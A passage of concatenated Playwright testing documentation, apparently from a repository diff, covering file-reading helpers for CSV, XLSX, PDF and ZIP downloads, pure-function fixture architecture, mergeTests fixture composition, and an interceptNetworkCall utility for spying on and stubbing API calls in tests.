**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
**Implementation**:
```typescript
// Read from a Buffer (e.g., extracted from a ZIP)
const zipResult = await readZIP({
filePath: 'archive.zip',
fileToExtract: 'data.csv',
});
const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
const csvFromBuffer = await readCSV({ content: fileBuffer });
// Read from a string
const csvString = 'name,age\nJohn,30\nJane,25';
const csvFromString = await readCSV({ content: csvString });
const { data, headers } = csvFromString.content;
expect(headers).toContain('name');
expect(headers).toContain('age');
```
## API Reference
### CSV Reader Options
| Option | Type | Default | Description |
| -------------- | ------------------ | -------- | -------------------------------------- |
| `filePath` | `string` | - | Path to CSV file (mutually exclusive) |
| `content` | `string \| Buffer` | - | Direct content (mutually exclusive) |
| `delimiter` | `string \| 'auto'` | `','` | Value separator, auto-detect if 'auto' |
| `encoding` | `string` | `'utf8'` | File encoding |
| `parseHeaders` | `boolean` | `true` | Use first row as headers |
| `trim` | `boolean` | `true` | Trim whitespace from values |
### XLSX Reader Options
| Option | Type | Description |
| ----------- | -------- | ------------------------------ |
| `filePath` | `string` | Path to XLSX file |
| `sheetName` | `string` | Name of sheet to set as active |
### PDF Reader Options
| Option | Type | Default | Description |
| ------------ | --------- | ------- | --------------------------- |
| `filePath` | `string` | - | Path to PDF file (required) |
| `mergePages` | `boolean` | `true` | Merge text from all pages |
| `maxPages` | `number` | - | Maximum pages to extract |
| `debug` | `boolean` | `false` | Enable debug logging |
### ZIP Reader Options
| Option | Type | Description |
| --------------- | -------- | ---------------------------------- |
| `filePath` | `string` | Path to ZIP file |
| `fileToExtract` | `string` | Specific file to extract to Buffer |
### Return Values
#### CSV Reader Return Value
```typescript
{
content: {
data: Array<Array<string | number>>, // Parsed rows (excludes header row if parseHeaders: true)
headers: string[] | null // Column headers (null if parseHeaders: false)
}
}
```
#### XLSX Reader Return Value
```typescript
{
content: {
worksheets: Array<{
name: string; // Sheet name
rows: Array<Array<any>>; // All rows including headers
headers?: string[]; // First row as headers (if present)
}>;
}
}
```
#### PDF Reader Return Value
```typescript
{
content: string, // Extracted text (merged or per-page based on mergePages)
pagesCount: number, // Total pages in PDF
fileName?: string, // Original filename if available
info?: Record<string, any> // PDF metadata (author, title, etc.)
}
```
> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
#### ZIP Reader Return Value
```typescript
{
content: {
entries: Array<{
name: string, // File/directory path within ZIP
size: number, // Uncompressed size in bytes
isDirectory: boolean // True for directories
}>,
extractedFiles: Record<string, Buffer | string> // Extracted file contents by path
}
}
```
> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
## Download Cleanup Pattern
```typescript
test.afterEach(async () => {
// Clean up downloaded files
await fs.remove(DOWNLOAD_DIR);
});
```
## Comparison with Vanilla Playwright
Vanilla Playwright (real test) snippet:
```typescript
// ~80 lines of boilerplate!
const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
const failure = await download.failure();
expect(failure).toBeNull();
const filePath = testInfo.outputPath(download.suggestedFilename());
await download.saveAs(filePath);
await expect
.poll(
async () => {
try {
await fs.access(filePath);
return true;
} catch {
return false;
}
},
{ timeout: 5000, intervals: [100, 200, 500] },
)
.toBe(true);
const csvContent = await fs.readFile(filePath, 'utf-8');
const parseResult = parse(csvContent, {
header: true,
skipEmptyLines: true,
dynamicTyping: true,
transformHeader: (header: string) => header.trim(),
});
if (parseResult.errors.length > 0) {
throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
}
const data = parseResult.data as Array<Record<string, unknown>>;
const headers = parseResult.meta.fields || [];
```
With File Utils, the same flow becomes:
```typescript
const downloadPath = await handleDownload({
page,
downloadDir: DOWNLOAD_DIR,
trigger: () => page.getByTestId('download-button-text/csv').click(),
});
const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
```
## Related Fragments
- `overview.md` - Installation and imports
- `api-request.md` - API-triggered downloads
- `recurse.md` - Poll for file generation completion
## Anti-Patterns
**DON'T leave downloads in place:**
```typescript
test('creates file', async () => {
await handleDownload({ ... })
// File left in downloads folder
})
```
**DO clean up after tests:**
```typescript
test.afterEach(async () => {
await fs.remove(DOWNLOAD_DIR);
});
```

View File

@@ -0,0 +1,401 @@
# Fixture Architecture Playbook
## Principle
Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
## Rationale
Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
- **Testability**: Pure functions run in unit tests without framework overhead
- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
- **Reusability**: Export fixtures via package subpaths for cross-project sharing
- **Maintainability**: One concern per fixture = clear responsibility boundaries
## Pattern Examples
### Example 1: Pure Function → Fixture Pattern
**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
**Implementation**:
```typescript
// playwright/support/helpers/api-request.ts
// Step 1: Pure function (ALWAYS FIRST!)
type ApiRequestParams = {
request: APIRequestContext;
method: 'GET' | 'POST' | 'PUT' | 'DELETE';
url: string;
data?: unknown;
headers?: Record<string, string>;
};
export async function apiRequest({
request,
method,
url,
data,
headers = {}
}: ApiRequestParams) {
const response = await request.fetch(url, {
method,
data,
headers: {
'Content-Type': 'application/json',
...headers
}
});
if (!response.ok()) {
throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
}
return response.json();
}
// Step 2: Fixture wrapper
// playwright/support/fixtures/api-request-fixture.ts
import { test as base } from '@playwright/test';
import { apiRequest } from '../helpers/api-request';
export const test = base.extend<{ apiRequest: typeof apiRequest }>({
apiRequest: async ({ request }, use) => {
// Inject framework dependency, expose pure function
await use((params) => apiRequest({ request, ...params }));
}
});
// Step 3: Package exports for reusability
// package.json
{
"exports": {
"./api-request": "./playwright/support/helpers/api-request.ts",
"./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
}
}
```
**Key Points**:
- Pure function is unit-testable without Playwright running
- Framework dependency (`request`) injected at fixture boundary
- Fixture exposes the pure function to test context
- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
### Example 2: Composable Fixture System with mergeTests
**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
**Implementation**:
```typescript
// playwright/support/fixtures/merged-fixtures.ts
import { test as base, mergeTests } from '@playwright/test';
import { test as apiRequestFixture } from './api-request-fixture';
import { test as networkFixture } from './network-fixture';
import { test as authFixture } from './auth-fixture';
import { test as logFixture } from './log-fixture';
// Compose all fixtures for comprehensive capabilities
export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
export { expect } from '@playwright/test';
// Example usage in tests:
// import { test, expect } from './support/fixtures/merged-fixtures';
//
// test('user can create order', async ({ page, apiRequest, auth, network }) => {
// await auth.loginAs('customer@example.com');
// await network.interceptRoute('POST', '**/api/orders', { id: 123 });
// await page.goto('/checkout');
// await page.click('[data-testid="submit-order"]');
// await expect(page.getByText('Order #123')).toBeVisible();
// });
```
**Individual Fixture Examples**:
```typescript
// network-fixture.ts
export const test = base.extend({
network: async ({ page }, use) => {
const interceptedRoutes = new Map();
const interceptRoute = async (method: string, url: string, response: unknown) => {
await page.route(url, (route) => {
if (route.request().method() === method) {
route.fulfill({ body: JSON.stringify(response) });
}
});
interceptedRoutes.set(`${method}:${url}`, response);
};
await use({ interceptRoute });
// Cleanup
interceptedRoutes.clear();
},
});
// auth-fixture.ts
export const test = base.extend({
auth: async ({ page, context }, use) => {
const loginAs = async (email: string) => {
// Use API to setup auth (fast!)
const token = await getAuthToken(email);
await context.addCookies([
{
name: 'auth_token',
value: token,
domain: 'localhost',
path: '/',
},
]);
};
await use({ loginAs });
},
});
```
**Key Points**:
- `mergeTests` combines fixtures without inheritance
- Each fixture has single responsibility (network, auth, logs)
- Tests import merged fixture and access all capabilities
- No coupling between fixtures—add/remove freely
### Example 3: Framework-Agnostic HTTP Helper
**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
**Implementation**:
```typescript
// shared/helpers/http-helper.ts
// Pure, framework-agnostic function
type HttpHelperParams = {
baseUrl: string;
endpoint: string;
method: 'GET' | 'POST' | 'PUT' | 'DELETE';
body?: unknown;
headers?: Record<string, string>;
token?: string;
};
export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
const url = `${baseUrl}${endpoint}`;
const requestHeaders = {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...headers,
};
const response = await fetch(url, {
method,
headers: requestHeaders,
body: body ? JSON.stringify(body) : undefined,
});
if (!response.ok) {
const errorText = await response.text();
throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
}
return response.json();
}
// Playwright fixture wrapper
// playwright/support/fixtures/http-fixture.ts
import { test as base } from '@playwright/test';
import { makeHttpRequest } from '../../shared/helpers/http-helper';
export const test = base.extend({
httpHelper: async ({}, use) => {
const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
await use((params) => makeHttpRequest({ baseUrl, ...params }));
},
});
// Cypress command wrapper
// cypress/support/commands.ts
import { makeHttpRequest } from '../../shared/helpers/http-helper';
Cypress.Commands.add('apiRequest', (params) => {
const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
});
```
**Key Points**:
- Pure function uses only standard `fetch`, no framework dependencies
- Unit tests call `makeHttpRequest` directly with all params
- Playwright and Cypress wrappers inject framework-specific config
- Same logic runs everywhere—zero duplication
### Example 4: Fixture Cleanup Pattern
**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
**Implementation**:
```typescript
// playwright/support/fixtures/database-fixture.ts
import { test as base } from '@playwright/test';
import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
type DatabaseFixture = {
seedUser: (userData: Partial<User>) => Promise<User>;
seedOrder: (orderData: Partial<Order>) => Promise<Order>;
};
export const test = base.extend<DatabaseFixture>({
seedUser: async ({}, use) => {
const createdUsers: string[] = [];
const seedUser = async (userData: Partial<User>) => {
const user = await seedDatabase('users', userData);
createdUsers.push(user.id);
return user;
};
await use(seedUser);
// Auto-cleanup: Delete all users created during test
for (const userId of createdUsers) {
await deleteRecord('users', userId);
}
createdUsers.length = 0;
},
seedOrder: async ({}, use) => {
const createdOrders: string[] = [];
const seedOrder = async (orderData: Partial<Order>) => {
const order = await seedDatabase('orders', orderData);
createdOrders.push(order.id);
return order;
};
await use(seedOrder);
// Auto-cleanup: Delete all orders
for (const orderId of createdOrders) {
await deleteRecord('orders', orderId);
}
createdOrders.length = 0;
},
});
// Example usage:
// test('user can place order', async ({ seedUser, seedOrder, page }) => {
// const user = await seedUser({ email: 'test@example.com' });
// const order = await seedOrder({ userId: user.id, total: 100 });
//
// await page.goto(`/orders/${order.id}`);
// await expect(page.getByText('Order Total: $100')).toBeVisible();
//
// // No manual cleanup needed—fixture handles it automatically
// });
```
**Key Points**:
- Track all created resources in array during test execution
- Teardown (after `use()`) deletes all tracked resources
- Tests don't manually clean up—happens automatically
- Prevents test pollution and flakiness from shared state
### Anti-Pattern: Inheritance-Based Page Objects
**Problem**:
```typescript
// ❌ BAD: Page Object Model with inheritance
class BasePage {
constructor(public page: Page) {}
async navigate(url: string) {
await this.page.goto(url);
}
async clickButton(selector: string) {
await this.page.click(selector);
}
}
class LoginPage extends BasePage {
async login(email: string, password: string) {
await this.navigate('/login');
await this.page.fill('#email', email);
await this.page.fill('#password', password);
await this.clickButton('#submit');
}
}
class AdminPage extends LoginPage {
async accessAdminPanel() {
await this.login('admin@example.com', 'admin123');
await this.navigate('/admin');
}
}
```
**Why It Fails**:
- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
- `AdminPage` inherits unnecessary `login` details—tight coupling
- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
- Hard to test `BasePage` methods in isolation
- Hidden state in class instances leads to unpredictable behavior
**Better Approach**: Use pure functions + fixtures
```typescript
// ✅ GOOD: Pure functions with fixture composition
// helpers/navigation.ts
export async function navigate(page: Page, url: string) {
await page.goto(url);
}
// helpers/auth.ts
export async function login(page: Page, email: string, password: string) {
await page.fill('[data-testid="email"]', email);
await page.fill('[data-testid="password"]', password);
await page.click('[data-testid="submit"]');
}
// fixtures/admin-fixture.ts
export const test = base.extend({
adminPage: async ({ page }, use) => {
await login(page, 'admin@example.com', 'admin123');
await navigate(page, '/admin');
await use(page);
},
});
// Tests import exactly what they need—no inheritance
```
## Integration Points
- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
- **Related fragments**:
- `data-factories.md` - Factory functions for test data
- `network-first.md` - Network interception patterns
- `test-quality.md` - Deterministic test design principles
## Helper Function Reuse Guidelines
When deciding whether to create a fixture, follow these rules:
- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
- **2-3 uses** → Create utility module (shared within project)
- **1 use** → Keep inline (avoid premature abstraction)
- **Complex logic** → Factory function pattern (dynamic data generation)
_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._

View File

@@ -0,0 +1,382 @@
# Fixtures Composition with mergeTests
## Principle
Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
## Rationale
Using fixtures from multiple sources requires combining them:
- Importing from multiple fixture files is verbose
- Name conflicts between fixtures
- Duplicate fixture definitions
- No clear single test object
Playwright's `mergeTests` provides:
- **Single test object**: All fixtures in one import
- **Conflict resolution**: Handles name collisions automatically
- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
- **Type safety**: Full TypeScript support for merged fixtures
- **Maintainability**: One place to manage all fixtures
## Pattern Examples
### Example 1: Basic Fixture Merging
**Context**: Combine multiple playwright-utils fixtures into single test object.
**Implementation**:
```typescript
// playwright/support/merged-fixtures.ts
import { mergeTests } from '@playwright/test';
import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
// Merge all fixtures
export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
export { expect } from '@playwright/test';
```
```typescript
// In your tests - import from merged fixtures
import { test, expect } from '../support/merged-fixtures';
test('all utilities available', async ({
apiRequest, // From api-request fixture
authToken, // From auth fixture
recurse, // From recurse fixture
}) => {
// All fixtures available in single test signature
const { body } = await apiRequest({
method: 'GET',
path: '/api/protected',
headers: { Authorization: `Bearer ${authToken}` },
});
await recurse(
() => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
(res) => res.body.ready === true,
);
});
```
**Key Points**:
- Create one `merged-fixtures.ts` per project
- Import test object from merged fixtures in all test files
- All utilities available without multiple imports
- Type-safe access to all fixtures
### Example 2: Combining with Custom Fixtures
**Context**: Add project-specific fixtures alongside playwright-utils.
**Implementation**:
```typescript
// playwright/support/custom-fixtures.ts - Your project fixtures
import { test as base } from '@playwright/test';
import { createUser } from './factories/user-factory';
import { seedDatabase } from './helpers/db-seeder';
export const test = base.extend({
// Custom fixture 1: Auto-seeded user
testUser: async ({ request }, use) => {
const user = await createUser({ role: 'admin' });
await seedDatabase('users', [user]);
await use(user);
// Cleanup happens automatically
},
// Custom fixture 2: Database helpers
db: async ({}, use) => {
await use({
seed: seedDatabase,
clear: () => seedDatabase.truncate(),
});
},
});
// playwright/support/merged-fixtures.ts - Combine everything
import { mergeTests } from '@playwright/test';
import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
import { test as customFixtures } from './custom-fixtures';
export const test = mergeTests(
apiRequestFixture,
authFixture,
customFixtures, // Your project fixtures
);
export { expect } from '@playwright/test';
```
```typescript
// In tests - all fixtures available
import { test, expect } from '../support/merged-fixtures';
test('using mixed fixtures', async ({
apiRequest, // playwright-utils
authToken, // playwright-utils
testUser, // custom
db, // custom
}) => {
// Use playwright-utils
const { body } = await apiRequest({
method: 'GET',
path: `/api/users/${testUser.id}`,
headers: { Authorization: `Bearer ${authToken}` },
});
// Use custom fixture
await db.clear();
});
```
**Key Points**:
- Custom fixtures extend `base` test
- Merge custom with playwright-utils fixtures
- All available in one test signature
- Maintainable separation of concerns
### Example 3: Full Utility Suite Integration
**Context**: Production setup with all core playwright-utils and custom fixtures.
**Implementation**:
```typescript
// playwright/support/merged-fixtures.ts
import { mergeTests } from '@playwright/test';
// Playwright utils fixtures
import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
// Custom project fixtures
import { test as customFixtures } from './custom-fixtures';
// Merge everything
export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
export { expect } from '@playwright/test';
```
```typescript
// In tests
import { test, expect } from '../support/merged-fixtures';
test('full integration', async ({
page,
context,
apiRequest,
authToken,
interceptNetworkCall,
recurse,
networkRecorder,
testUser, // custom
}) => {
// All utilities + custom fixtures available
await networkRecorder.setup(context);
const usersCall = interceptNetworkCall({ url: '**/api/users' });
await page.goto('/users');
const { responseJson } = await usersCall;
expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
});
```
**Key Points**:
- One merged-fixtures.ts for entire project
- Combine all playwright-utils you use
- Add custom project fixtures
- Single import in all test files
### Example 4: Fixture Override Pattern
**Context**: Override default options for specific test files or describes.
**Implementation**:
```typescript
import { test, expect } from '../support/merged-fixtures';
// Override auth options for entire file
test.use({
authOptions: {
userIdentifier: 'admin',
environment: 'staging',
},
});
test('uses admin on staging', async ({ authToken }) => {
// Token is for admin user on staging environment
});
// Override for specific describe block
test.describe('manager tests', () => {
test.use({
authOptions: {
userIdentifier: 'manager',
},
});
test('manager can access reports', async ({ page }) => {
// Uses manager token
await page.goto('/reports');
});
});
```
**Key Points**:
- `test.use()` overrides fixture options
- Can override at file or describe level
- Options merge with defaults
- Type-safe overrides
### Example 5: Avoiding Fixture Conflicts
**Context**: Handle name collisions when merging fixtures with same names.
**Implementation**:
```typescript
// If two fixtures have same name, last one wins
import { test as fixture1 } from './fixture1'; // has 'user' fixture
import { test as fixture2 } from './fixture2'; // also has 'user' fixture
const test = mergeTests(fixture1, fixture2);
// fixture2's 'user' overrides fixture1's 'user'
// Better: Rename fixtures before merging
import { test as base } from '@playwright/test';
import { test as fixture1 } from './fixture1';
const fixture1Renamed = base.extend({
user1: fixture1._extend.user, // Rename to avoid conflict
});
const test = mergeTests(fixture1Renamed, fixture2);
// Now both 'user1' and 'user' available
// Best: Design fixtures without conflicts
// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
```
**Key Points**:
- Last fixture wins in conflicts
- Rename fixtures to avoid collisions
- Design fixtures with unique names
- Playwright-utils uses descriptive names (no conflicts)
## Recommended Project Structure
```
playwright/
├── support/
│ ├── merged-fixtures.ts # ⭐ Single test object for project
│ ├── custom-fixtures.ts # Your project-specific fixtures
│ ├── auth/
│ │ ├── auth-fixture.ts # Auth wrapper (if needed)
│ │ └── custom-auth-provider.ts
│ ├── fixtures/
│ │ ├── user-fixture.ts
│ │ ├── db-fixture.ts
│ │ └── api-fixture.ts
│ └── utils/
│ └── factories/
└── tests/
├── api/
│ └── users.spec.ts # import { test } from '../../support/merged-fixtures'
├── e2e/
│ └── login.spec.ts # import { test } from '../../support/merged-fixtures'
└── component/
└── button.spec.ts # import { test } from '../../support/merged-fixtures'
```
## Benefits of Fixture Composition
**Compared to direct imports:**
```typescript
// ❌ Without mergeTests (verbose)
import { test as base } from '@playwright/test';
import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
import { getAuthToken } from './auth';
import { createUser } from './factories';
test('verbose', async ({ request }) => {
const token = await getAuthToken();
const user = await createUser();
const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
// Manual wiring everywhere
});
// ✅ With mergeTests (clean)
import { test } from '../support/merged-fixtures';
test('clean', async ({ apiRequest, authToken, testUser }) => {
const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
// All fixtures auto-wired
});
```
**Reduction:** ~10 lines per test → ~2 lines
## Related Fragments
- `overview.md` - Installation and design principles
- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
## Anti-Patterns
**❌ Importing test from multiple fixture files:**
```typescript
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
// Also need auth...
import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
// Name conflict! Which test to use?
```
**✅ Use merged fixtures:**
```typescript
import { test } from '../support/merged-fixtures';
// All utilities available, no conflicts
```
**❌ Merging too many fixtures (kitchen sink):**
```typescript
// Merging 20+ fixtures makes test signature huge
const test = mergeTests(...20 different fixtures)
test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
// Cognitive overload
})
```
**✅ Merge only what you actually use:**
```typescript
// Merge the 4-6 fixtures your project actually needs
const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
```

View File

@@ -0,0 +1,426 @@
# Intercept Network Call Utility
## Principle
Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
## Rationale
Vanilla Playwright's network interception requires multiple steps:
- `page.route()` to setup, `page.waitForResponse()` to capture
- Manual JSON parsing
- Verbose syntax for conditional handling
- Complex filter predicates
The `interceptNetworkCall` utility provides:
- **Single declarative call**: Setup and wait in one statement
- **Automatic JSON parsing**: Response pre-parsed, strongly typed
- **Flexible URL patterns**: Glob matching with picomatch
- **Spy or stub modes**: Observe real traffic or mock responses
- **Concise API**: Reduces boilerplate by 60-70%
## Pattern Examples
### Example 1: Spy on Network (Observe Real Traffic)
**Context**: Capture and inspect real API responses for validation.
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
test('should spy on users API', async ({ page, interceptNetworkCall }) => {
// Setup interception BEFORE navigation
const usersCall = interceptNetworkCall({
url: '**/api/users', // Glob pattern
});
await page.goto('/dashboard');
// Wait for response and access parsed data
const { responseJson, status } = await usersCall;
expect(status).toBe(200);
expect(responseJson).toHaveLength(10);
expect(responseJson[0]).toHaveProperty('name');
});
```
**Key Points**:
- Intercept before navigation (critical for race-free tests)
- Returns Promise with `{ responseJson, status, requestBody }`
- Glob patterns (`**` matches any path segment)
- JSON automatically parsed
### Example 2: Stub Network (Mock Response)
**Context**: Mock API responses for testing UI behavior without backend.
**Implementation**:
```typescript
test('should stub users API', async ({ page, interceptNetworkCall }) => {
const mockUsers = [
{ id: 1, name: 'Test User 1' },
{ id: 2, name: 'Test User 2' },
];
const usersCall = interceptNetworkCall({
url: '**/api/users',
fulfillResponse: {
status: 200,
body: mockUsers,
},
});
await page.goto('/dashboard');
await usersCall;
// UI shows mocked data
await expect(page.getByText('Test User 1')).toBeVisible();
await expect(page.getByText('Test User 2')).toBeVisible();
});
```
**Key Points**:
- `fulfillResponse` mocks the API
- No backend needed
- Test UI logic in isolation
- Status code and body fully controllable
### Example 3: Conditional Response Handling
**Context**: Different responses based on request method or parameters.
**Implementation**:
```typescript
test('conditional mocking', async ({ page, interceptNetworkCall }) => {
await interceptNetworkCall({
url: '**/api/data',
handler: async (route, request) => {
if (request.method() === 'POST') {
// Mock POST success
await route.fulfill({
status: 201,
body: JSON.stringify({ id: 'new-id', success: true }),
});
} else if (request.method() === 'GET') {
// Mock GET with data
await route.fulfill({
status: 200,
body: JSON.stringify([{ id: 1, name: 'Item' }]),
});
} else {
// Let other methods through
await route.continue();
}
},
});
await page.goto('/data-page');
});
```
**Key Points**:
- `handler` function for complex logic
- Access full `route` and `request` objects
- Can mock, continue, or abort
- Flexible for advanced scenarios
### Example 4: Error Simulation
**Context**: Testing error handling in UI when API fails.
**Implementation**:
```typescript
test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
// Simulate 500 error
const errorCall = interceptNetworkCall({
url: '**/api/users',
fulfillResponse: {
status: 500,
body: { error: 'Internal Server Error' },
},
});
await page.goto('/dashboard');
await errorCall;
// Verify UI shows error state
await expect(page.getByText('Failed to load users')).toBeVisible();
await expect(page.getByTestId('retry-button')).toBeVisible();
});
// Simulate network timeout
test('should handle timeout', async ({ page, interceptNetworkCall }) => {
await interceptNetworkCall({
url: '**/api/slow',
handler: async (route) => {
// Never respond - simulates timeout
await new Promise(() => {});
},
});
await page.goto('/slow-page');
// UI should show timeout error
await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
});
```
**Key Points**:
- Mock error statuses (4xx, 5xx)
- Test timeout scenarios
- Validate error UI states
- No real failures needed
### Example 5: Order Matters - Intercept Before Navigate
**Context**: The interceptor must be set up before the network request occurs.
**Implementation**:
```typescript
// INCORRECT - interceptor set up too late
await page.goto('https://example.com'); // Request already happened
const networkCall = interceptNetworkCall({ url: '**/api/data' });
await networkCall; // Will hang indefinitely!
// CORRECT - Set up interception first
const networkCall = interceptNetworkCall({ url: '**/api/data' });
await page.goto('https://example.com');
const result = await networkCall;
```
This pattern follows the classic test spy/stub pattern:
1. Define the spy/stub (set up interception)
2. Perform the action (trigger the network request)
3. Assert on the spy/stub (await and verify the response)
### Example 6: Multiple Intercepts
**Context**: Intercepting different endpoints in same test - setup order is critical.
**Implementation**:
```typescript
test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
// Setup all intercepts BEFORE navigation
const usersCall = interceptNetworkCall({ url: '**/api/users' });
const productsCall = interceptNetworkCall({ url: '**/api/products' });
const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
// THEN navigate
await page.goto('/dashboard');
// Wait for all (or specific ones)
const [users, products] = await Promise.all([usersCall, productsCall]);
expect(users.responseJson).toHaveLength(10);
expect(products.responseJson).toHaveLength(50);
});
```
**Key Points**:
- Setup all intercepts before triggering actions
- Use `Promise.all()` to wait for multiple calls
- Order: intercept -> navigate -> await
- Prevents race conditions
### Example 7: Capturing Multiple Requests to the Same Endpoint
**Context**: Each `interceptNetworkCall` captures only the first matching request.
**Implementation**:
```typescript
// Capturing a known number of requests
const firstRequest = interceptNetworkCall({ url: '/api/data' });
const secondRequest = interceptNetworkCall({ url: '/api/data' });
await page.click('#load-data-button');
const firstResponse = await firstRequest;
const secondResponse = await secondRequest;
expect(firstResponse.status).toBe(200);
expect(secondResponse.status).toBe(200);
// Handling an unknown number of requests
const getDataRequestInterceptor = () =>
interceptNetworkCall({
url: '/api/data',
timeout: 1000, // Short timeout to detect when no more requests are coming
});
let currentInterceptor = getDataRequestInterceptor();
const allResponses = [];
await page.click('#load-multiple-data-button');
while (true) {
try {
const response = await currentInterceptor;
allResponses.push(response);
currentInterceptor = getDataRequestInterceptor();
} catch (error) {
// No more requests (timeout)
break;
}
}
console.log(`Captured ${allResponses.length} requests to /api/data`);
```
### Example 8: Using Timeout
**Context**: Set a timeout for waiting on a network request.
**Implementation**:
```typescript
const dataCall = interceptNetworkCall({
method: 'GET',
url: '/api/data-that-might-be-slow',
timeout: 5000, // 5 seconds timeout
});
await page.goto('/data-page');
try {
const { responseJson } = await dataCall;
console.log('Data loaded successfully:', responseJson);
} catch (error) {
if (error.message.includes('timeout')) {
console.log('Request timed out as expected');
} else {
throw error;
}
}
```
## URL Pattern Matching
The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
**Supported glob patterns:**
```typescript
'**/api/users'; // Any path ending with /api/users
'/api/users'; // Exact match
'**/users/*'; // Any users sub-path
'**/api/{users,products}'; // Either users or products
'**/api/users?id=*'; // With query params
```
**Comparison with vanilla Playwright:**
```typescript
// Vanilla Playwright - complex predicate
const predicate = (response) => {
const url = response.url();
return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
};
page.waitForResponse(predicate);
// With interceptNetworkCall - simple glob patterns
interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
interceptNetworkCall({ url: '/api/users/**' }); // Match all
```
## API Reference
### `interceptNetworkCall(options)`
| Parameter | Type | Description |
| ----------------- | ---------- | --------------------------------------------------------------------- |
| `page` | `Page` | Required when using direct import (not needed with fixture) |
| `method` | `string` | Optional: HTTP method to match (e.g., 'GET', 'POST') |
| `url` | `string` | Optional: URL pattern to match (supports glob patterns via picomatch) |
| `fulfillResponse` | `object` | Optional: Response to use when mocking |
| `handler` | `function` | Optional: Custom handler function for the route |
| `timeout` | `number` | Optional: Timeout in milliseconds for the network request |
### `fulfillResponse` Object
| Property | Type | Description |
| --------- | ------------------------ | ----------------------------------------------------- |
| `status` | `number` | HTTP status code (default: 200) |
| `headers` | `Record<string, string>` | Response headers |
| `body` | `any` | Response body (will be JSON.stringified if an object) |
### Return Value
